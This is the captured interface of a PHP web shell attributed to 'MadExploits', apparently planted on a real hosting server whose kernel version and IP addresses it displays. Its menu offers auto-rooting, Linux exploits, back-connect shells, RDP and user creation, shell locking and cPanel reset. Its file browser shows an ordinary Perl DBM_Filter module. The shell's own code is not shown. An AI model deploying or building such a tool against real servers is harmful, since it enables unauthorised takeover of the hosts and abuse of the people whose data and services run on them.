Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 18.116.86.160
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
DBM_Filter /
[ HOME SHELL ]
Name
Size
Permission
Action
compress.pm
863
B
-rw-r--r--
encode.pm
1.34
KB
-rw-r--r--
int32.pm
760
B
-rw-r--r--
null.pm
973
B
-rw-r--r--
utf8.pm
784
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : compress.pm
package DBM_Filter::compress ; use strict; use warnings; use Carp; our $VERSION = '0.02'; BEGIN { eval { require Compress::Zlib; Compress::Zlib->import() }; croak "Compress::Zlib module not found.\n" if $@; } sub Store { $_ = compress($_) } sub Fetch { $_ = uncompress($_) } 1; __END__ =head1 NAME DBM_Filter::compress - filter for DBM_Filter =head1 SYNOPSIS use SDBM_File; # or DB_File, or GDBM_File, or NDBM_File, or ODBM_File use DBM_Filter ; $db = tie %hash, ... $db->Filter_Push('compress'); =head1 DESCRIPTION This DBM filter will compress all data before it is written to the database and uncompressed it on reading. A fatal error will be thrown if the Compress::Zlib module is not available. =head1 SEE ALSO L<DBM_Filter>, L<perldbmfilter>, L<Compress::Zlib> =head1 AUTHOR Paul Marquess pmqs@cpan.org
Close
